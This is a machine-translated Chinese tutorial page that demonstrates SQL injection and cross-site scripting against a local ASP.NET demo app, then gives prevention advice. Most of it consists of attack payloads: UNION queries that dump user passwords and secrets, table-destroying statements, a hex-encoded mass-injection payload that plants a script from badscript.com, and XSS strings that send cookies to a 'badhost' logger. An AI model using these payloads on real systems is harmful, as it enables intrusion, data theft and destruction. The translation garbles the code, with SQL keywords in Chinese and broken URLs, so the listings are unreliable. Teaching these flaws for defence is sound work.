發布時間:2023-11-08閱讀(40)
特別聲明:本文的目的,是讓廣大開發者重視自己在做Web系統開發,需要注重的代碼安全問題。本文只是案例分析,請勿作攻擊他人網站。
什么是SQL注入和跨站點腳本
跨站腳本(XSS或CSS)
使惡意攻擊者將客戶端腳本(Javascript)或HTML標記注入其他用戶查看的網頁。
SQL注入
通過輸入數據從客戶端到應用程序插入SQL查詢,后來傳遞給SQL Server實例進行解析和執行。
非常常見于PHP和Classic ASP應用程序。
示例應用程序/使用代碼
設置示例應用程序的步驟
創建一個新數據庫并將其命名為TestDB。
創建一個新的登錄并將其映射到TestDB。
運行TestDBSetup.sql。
運行示例應用程序的步驟
此示例代碼需要Visual Studio 2008或更高版本; 如果沒有,請從Microsoft下載90天的試用版(點擊此處)。
下載示例代碼并解壓縮。
更新在連接字符串的web.config。
運行應用程序并按照本文中所述的示例進行操作。對不起,突出顯示的文字在這里沒有正確顯示。復制和粘貼時,請務必從示例URL中刪除任何換行符。
下面顯示了示例代碼的結構。
程序結構如下圖:
程序結構圖
查詢字符串
SQL注入
定義:通過輸入數據從客戶端插入到隨后傳遞給SQL Server實例以解析和執行的應用程序的SQL查詢。
UNION SQL注入
我們將使用UNION語句挖掘數據庫中的所有表名。連續兩個“ - ”表示SQL注釋。見下面的注釋是綠色的,連字符之后的查詢語句不會被SQL服務器評估。
清單1
SELECT * FROM dbo.MyComments WHERE ID = 1 - ORDER BY [Name]
執行如下所示的URL:
執行如下所示的URL:
清單2
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL FROM INFORMATION_SCHEMA.TABLES -
它將產生結果“使用UNION,INTERSECT或EXCEPT運算符組合的所有查詢必須在其目標列表中具有相等數量的表達式。如果我們嘗試運行此錯誤消息出現UNION,INTERSECT或EXCEPT查詢在其表達式不相等數量的SELECT清單部分。解決方法是NULL在URL 中繼續添加表達式,直到錯誤消息消失。
清單3
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,NULL FROM INFORMATION_SCHEMA.TABLES - ... http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,NULL, NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.TABLES -
如果查詢在查詢中具有相等的表達式數量,則錯誤消息將消失NULL。接下來,嘗試用NULL替換TABLE_NAME每個值。如果您收到錯誤消息,請將其保留為NULL。
清單4
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,TABLE_NAME, TABLE_NAME,TABLE_NAME,TABLE_NAME,NULL,NULL FROM INFORMATION_SCHEMA.TABLES--
結果

從上面顯示的輸出,我們知道數據庫包含幾個表,即MyComments,tbl_SQLInjection,tbl_users和TestTable。接下來,我們將提取tbl_users表中的每個列名。執行清單5所示的URL。
清單5
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = tbl_users -
結果

從上面顯示的輸出可以看出,tbl_users包含地址,密碼,電話,秘密,secret2和用戶名列。要確認,如下所示是SQL Server中tbl_users表模式的快照。

對不同的表名重復相同的步驟。
清單6
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = MyComments - ...
讓我們檢索存儲在tbl_users表中的數據。%2b和%27分別是“ ”和“”“的URL編碼。執行下面顯示的URL。
清單7
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,用戶名%2B %27 - %27%2B密碼,秘密%2B%27 - %27%2B secret2,地址,電話%2B%27 - %27%2Baddress,NULL,NULL FROM tbl_users -
結果

要確認,如下所示是tbl_users表內容的快照。對其余表重復相同的步驟。

從sysprocesses表中檢索數據
我們還可以從master..sysprocesses表中檢索SQL Server實例名稱,登錄名,數據庫名稱,SQL Server版本等。執行下面的URL并觀察輸出。
清單8
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,DB_Name([dbid]) %2B CHAR(0x2d)%2B loginame,net_address,hostname%2B CHAR(0x2d)%2B%40%40ServerName, %40%40version,NULL,NULL FROM master..sysprocesses -
更新表
清單9
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE tbl_Users SET Password = HACKED WHERE用戶名= test@test.com -
結果

刪除表中的數據
清單10
HTTP://本地主機:1234 /采樣/ ListComments.aspx CID = 99999 DELETE FROM tbl_Users WHERE用戶名= test@test.com -
TRUNCATE表
清單11
http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 TRUNCATE TABLE tbl_Users -
刪除表
清單12
http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 DROP TABLE tbl_Users -
基于Hex的SQL注入
一段時間后,我們將在服務器日志文件中看到下面列出的一些奇怪的條目:
清單13
http://www.YourDomain.com/SomePage.asp?id=1&cat = c DECLARE%20 @ S%20NVARCHAR(4000); SET%20 @ S = CAST(4445434c415245204054207661726368617228323535292c40432076617263 68617228343030302920da4445434c415245205461626c655f437572736f7220435552534f52204 64f5220da73656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a656374 7320612c737973636f6c756d6e73206220da776865726520612e69643d622e696420616e6420612 e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335 206f7220622e78747970653d323331206f7220622e78747970653d3136372920da4f50454e20546 1626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f 7220494e544f2040542c4043205748494c452840404645 ...
哪個在解碼到字符串時會變成(請不要復制并運行這個查詢):
清單14
DECLARE @T VARCHAR(255),@C VARCHAR(4000) DECLARE Table_Cursor CURSOR FOR 選擇 a.name,b.name 從 sysobjects中,syscolumns中b 其中 a.id = b.id 和 a.xtype = U 和( b.xtype = 99 或 b.xtype = 35 或 b.xtype = 231 或 b.xtype = 167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@ FETCH_STATUS = 0) BEGIN exec( update [ @ T ] set [ @ C ] = “> </ title> <script src =”http:// badscript。 com / bad.js“> </ script> <! - [ @ C ]其中 @ C 不像 %> </ title> <script SRC = “http://badscript.com/bad.js”> </ SCRIPT> <! - ” ) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
上述查詢將查找每個數據庫表中的所有文本列,并附加惡意腳本。
舉個例子
下面顯示的是一個帶有查詢字符串的URL,以通過注釋ID來從SQL Server檢索注釋:
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1
為了簡單起見,我使用一個簡單的Update語句來更新表?!?Update dbo.MyComment Set test=HACKED”查詢將看起來像十六進制的0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427。的%3B是的URL編碼的“;” 字符。將字符串附加到URL。見下文。
清單15
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(255) SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR(255))exec(@s)- 或 http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(255)SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR(255))exec(@s)-
執行上述URL之前:

執行上述URL后:

測試
將以下字符串附加到您的網頁的URL中,該URL將參數:
清單16
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(500) SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c275527292 04953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6e5d2 85b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494e544f20646 26f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d205375626a65637420746 f2053514c20496e6a656374696f6e27 作為 VARCHAR(500))Exec(@s)-
如果URL參數值不是整數,請嘗試追加;或);或;在DECLARE關鍵字的前面。見下面的例子。
清單17
; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c 496e6a656374696f6e272c27552729204953204e554c4c20435245415445205441424c452064626f2e5b7462 6c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c 2920494e5345525420494e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c45435420277061 6765202d205375626a65637420746f2053514c20496e6a656374696f6e27 作為 VARCHAR(500))Exec(@s)- ...
然后,在SQL Server Management Studio 中執行SELECT * FROM dbo.tbl_SQLInjection查詢:“ ”。如果看到類似于下面所示的結果,那么網頁將進行基于十六進制的SQL注入。對其余網頁重復上述步驟。

如果URL參數值不是整數,請嘗試追加;或);或;在查詢前。
跨站腳本(CSS / XSS)攻擊
定義:使惡意攻擊者將客戶端腳本或HTML標記注入其他用戶查看的網頁。假設我們有一個登錄頁面,并顯示每個不成功的嘗試的錯誤消息。錯誤消息存儲在URL的查詢字符串中,并隨后顯示在Label控件中。如下圖:

考慮這種情況,匿名用戶向您發送一封包含以下內容的電子郵件:
清單18
尊敬的管理員, 登錄頁面有問題:http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%22%3E%3C%73%63%72%69%70% 74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39% 39%39%37% 2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69%70%74%2E% 6A%73%22% 3E%3C%2F%73%63%72%69%70%74%3E 要么 “登錄頁面有問題http:// localhost:1234 / Sample / LoginPage.aspx” URL指向上述鏈接。
URL的一部分被編碼為十六進制值。解碼時會變成:
清單19
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <script src =” http:// localhost:9997 / badhost / maliciousscript.js“ > </ script >
如果我們讓我們防范并點擊電子郵件中的鏈接,瀏覽器將執行惡意腳本。執行該URL,您應該會看到一個彈出消息。下面顯示的是嵌入在查詢字符串中以竊取瀏覽器Cookie的腳本。
清單20
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%76%61%72% 20%73%3D%27%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61% 79%3A%6E%6F%6E% 65%22%20%53%52%43%3D%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39% 39%39%37%2F%62% 61%64%68%6F%73%74%2F%63%6F%6F%6B%69%65%6D%6F%6E%73%74%65%72%2E%61%73%70%78% 3F%63%3D%27%2b% 65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2b%27% 3E%3C%5C%2F%49% 46%52%41%4D%45%3E%27%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29% 3C%2F%73%63%72% 69%70%74%3E
解碼后的網址如下:
清單21
http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <script> var s =<IFRAME style =“display:none”SRC = http:// localhost:9997 / badhost / cookiemonster.aspx?c = %2bescape(document.cookie)%2b> < / IFRAME>; document.write(s)</ script>
該腳本將嵌入IFRAME頁面并指向http:// localhost:9997 / badhost / cookiemonster.aspx,其中包含查詢字符串參數“c”。此參數保存由“ SQLInjection_XSS_Demo ”應用程序創建的cookie值。為了演示這個,我在LoginPage.aspx上創建了一些cookies 。cookiemonster.aspx將記錄所有在cookie名稱和值CookieJar.txt。
清單22
void FakeCookies() { Response.Cookies [ “ email” ] .Value = “ bryian.tan@mydomain.com” ; Response.Cookies [ “ email” ] .Expires = DateTime.Now.AddDays(1); Response.Cookies [ “ age” ] .Value = “ 22” ; Response.Cookies [ “ age” ] .Expires = DateTime.Now.AddDays(1); }
執行上述URL后,我們將在CookieJar.txt中看到以下條目。

所以呢?攻擊者將會怎樣處理我的cookies信息?假設登錄嘗試成功后,頁面會將一些信息存儲在cookie中。使用tbl_users表中找到的用戶名登錄,然后刷新網頁。該頁面將從Cookie中提取一些信息,并將結果顯示在頁面上。見下文。

使用惡意腳本更新表
我們已經知道上一個示例中的表和列名稱。執行列表23中顯示的URL以使用JavaScript更新MyComment表以篡改Cookie。該腳本將腳本注入到cookies值中。然后導航到ListComments.aspx頁面以觸發腳本并返回LoginPage.aspx。您應該看到一個彈出消息“ 來自不良主機的XSS ”,表示腳本被瀏覽器成功執行。
清單23
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Comment =%27 <script> c =“ <script src = ”http:// localhost:9997 / badhost / maliciousscript.js “> < / script>”; document.cookie =“email =”%2bc; </ script> test%27 WHERE id = 1 -
我們在MyComment表中附加一些惡意腳本。執行如下所示的URL:
清單24
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 %55%50%44%41%54%45%20%4D%79%43%6F%6D%6D%65 %6E%74%73%20%53%45%54%20%4E%61%6D%65%3D%27%3C%73%63%72%69%70%74%20%73% 72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%3 9%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69 %70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%20%2D%2D
URL字符串的一部分在解碼時將變為:
清單25
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name =<script src =“http:// localhost:9997 / badhost / maliciousscript.js”> </ script> -
刷新頁面,我們將看到如下所示的彈出消息。這表示攻擊者制作的惡意腳本被瀏覽器成功執行。

下面顯示的URL將嵌入HTML的IFrame的頁面,并會觸發cookiemonster.aspx每一個用戶導航到時間頁面ListComments.aspx頁。執行它,導航到ListComments.aspx頁面,并觀察到新的內容被附加到CookieJar.txt文件,而沒有跟蹤或警告消息。
清單26
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name = <script> var s =“<IFRAME style = display:none SRC = http:// localhost:9997 / badhost / cookiemonster.aspx? c =“%2bescape(document.cookie)%2b”> < / IFRAME>“; document.write(s)</ script> -
快速測試
將以下任何字符串附加到您的網頁的參與網址。如果您看到一個彈出消息,那么該網頁將受到跨站點腳本攻擊。
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <scrIpt> alert(”XSS“)</ scriPt>
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53 %53%22%29%3C%2F%73%63%72%69%70%74%3E
http:// localhost:1234 / Sample / LoginPage.aspx?strErr = </ TITLE> <sCRIPT> alert(“XSS”); </ SCRIPt>
http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <BODY%20ONLOAD = alert(“XSS”)>
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <iFRAME%20SRC =”javascript:alert(XSS);“> </ IFRaME>
表單輸入
SQL注入
我們可以通過簡單地向登錄ID 添加“或1 = 1 -或”)或1 = 1--來繞過登錄頁面,并將任何值放在密碼字段中。參見下面的例子。

如果沒有定義的最大字符數TextBox,則攻擊者可以將上述SQL語句附加到表單的輸入值。假設我們有一個頁面來更新評論,并用下面顯示的值更新評論。在更新后,我們應該在tbl_SQLInjection表中看到一個新條目。
清單27
; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c
接下來,我將演示一種簡單的方式,攻擊者可以更新表中具有相同值的每一列。我們來更新名稱值被黑客;

從MyComments表中檢索所有行,您將看到“名稱”列中的所有值都更新為“已被黑客入侵”。如前所述,連續兩個連字符“ - ”表示SQL注釋; 連字符之后的查詢語句將不會被SQL Server評估。在復制此演示之前,請確保備份數據庫。

跨站腳本
跨站點腳本可使惡意攻擊者將客戶端腳本或HTML標記注入其他用戶查看的網頁。這可以通過輸入表單發生。使用字符串“ <script src =”http:// localhost:9997 / badhost / maliciousscript.js“> </ script>更新注釋。當您導航到ListComments.aspx頁面時,您應該會看到一個彈出消息。

快速測試
使用下面列出的任何字符串更新表單值,并觀察結果。確保字符串在一行并且沒有換行符。如果JavaScript被瀏覽器成功執行或者顯示意想不到的結果,那么網頁將受到跨站點腳本編寫。
<BODY ONLOAD =javascript:window.location =“http://www.google.com”>>
<BODY ONLOAD =“javascript:alert(XSS)”>
<p onmouseover = javascript:window.location =“http:// www。google.com”;> test
<p onmousemove = javascript:window.location =“http:// www。google.com”;> test
<p onMouseDown = javascript:window.location =“http://www.google.com”;> test
<span onmouseover = javascript:window.location =“http:// www。google.com”;> test </ span>
<span onmousemove = javascript:window.location =“http://www.google.com”;> test </ span>
<h2 onmouseover = javascript:window.location =“http://www.google.com”;> test
<div onmouseover = javascript:window.location =“http:// 1208929383”;> test
<meta http-equiv =“refresh”content =“1; URL = http:// 1208929383”>
<b onmouseover = javascript:window.location =“http://www.google.com”;> test
<img onmouseover = javascript:window.location =“http://www.google.com”;>
<img src = http://www.google.com/images/srpr/nav_logo14.png width =“1”height =“1”onLoad = javascript:window.location =“http://www.google.com” ;>
<div style =“width:100%”onresize = javascript:window.location =“http://www.google.com”;> test </ div>(調整瀏覽器大小以查看行為)
<tt style =“width:100%”onmousemove = javascript:window.location =“http://www.google.com”;> test
<PLAINTEXT>測試
<object>測試
<applet>測試
<textarea>測試
<title>測試
<table>測試
<style>測試
<noscript>測試
JavaScript事件注入漏洞
該JavaScriptFunctionInjection.aspx頁面包含如何使用ASP.NET內嵌標簽和客戶端輸入控制復制的JavaScript事件注入漏洞的兩個例子。第一個示例使用單引號,第二個示例使用引號。請參見下圖TextBox。如果ValidateRequest設置為false,將出現這種漏洞。

在輸入框中鍵入一些內容,您應該看到類似于圖20的結果。注意:第一個示例的輸出已編碼,單引號被雙引號替換。

到底是怎么回事?我們編碼了輸出,并用雙引號代替了單引號!我們來仔細看看HTML標記代碼。JavaScript事件已成功注入第一個示例,但被第二個示例視為字符串。該HtmlEncode方法沒有避免單引號,而是正確地轉義了引號。我建議避免在單引號之間包裝ASP.NET內聯代碼。別忘了測試第二個例子。第二個例子的輸出沒有被有意編碼。
清單28
< 輸入ID = “ 文本1" 名稱=” 文本1" 類型= “ 文本” 值= A 的onkeydown = 警報( “ 疑難雜癥 的onkeydown”) / >< input id =“ Text2” name =“ Text2” type =“ text” value =“ a” onKeyDown = alert(“ gotcha onKeyDown”)“” / >
防止SQL注入/跨站點角本的注意事項
不要僅僅依靠客戶端驗證(JavaScript)
攻擊者可以通過在Web瀏覽器中禁用JavaScript來繞過客戶端驗證。不要僅依賴于JavaScript來搜索和替換潛在的危險HTML語句或SQL注入關鍵字。確保在服務器端重新驗證用戶輸入。我知道這是很多工作,但為了安全起見,我們必須這樣做。在“添加注釋”部分中,該頁面使用JavaScript來檢查空白字段。嘗試在瀏覽器上禁用JavaScript,并再次添加評論。點擊此處了解如何禁用和啟用JavaScript。
用雙引號()替換單引號()
我看到一些網站提到可以通過簡單地用雙引號替換單引號來防止SQL注入漏洞。情況并非如此; 攻擊者仍然可以使用惡意腳本或HTML標記注入表,而不使用單引號。惡意用戶可以通過使用不同的字符編碼來繞過過濾器。
內聯代碼/標簽
有幾種從ASP.NET程序中顯示信息的方法。我們可以使用嵌入式代碼塊在頁面中顯示信息。<%...%>或使用<%= ...%>構造。另一種方法是使用數據綁定語法<%#...%>將控件屬性值綁定到數據,并指定檢索,更新,刪除和插入數據的值。確保在網頁中顯示之前,將表單數據和其他客戶端請求進行編碼(HttpUtility.HtmlEncode)。這將有助于防止可能的跨站點腳本注入攻擊。使用ASP.NET 4.0,新的<%:...%>代碼塊 - 語法將在渲染之前自動對輸出進行編碼。
存儲過程
我在我的Web應用程序中使用存儲過程。存儲過程是否免疫SQL注入攻擊?答案是“依賴”。如果我們在Stored Procedures中使用動態SQL語句,那么它們可能對SQL Injection攻擊開放。下面顯示了一個存儲過程,其中包含動態SQL語句。

更新注釋字段的值哈哈哈; -?!笆褂脙嚷摬樵兏隆焙汀笆褂肧P - 動態查詢更新”按鈕將更新表中具有指定值的每個注釋字段。另一方面,“使用SP更新”按鈕只會更新當前記錄。

請求驗證(ASP.NET)
請注意,ValidateRequest指令中的@page屬性設置為false,以便模擬經典ASP環境,并防止.NET Framework拋出錯誤:“ Request.Form從客戶端檢測到潛在的危險值”。如果您在應用程序中遇到此錯誤消息,請在禁用請求驗證之前重新思考業務邏輯或頁面體系結構。
,歡迎分享轉載→http://www.avcorse.com/read-967.html
下一篇:紅娘是哪一部作品中的人物
Copyright ? 2024 有趣生活 All Rights Reserve吉ICP備19000289號-5 TXT地圖HTML地圖XML地圖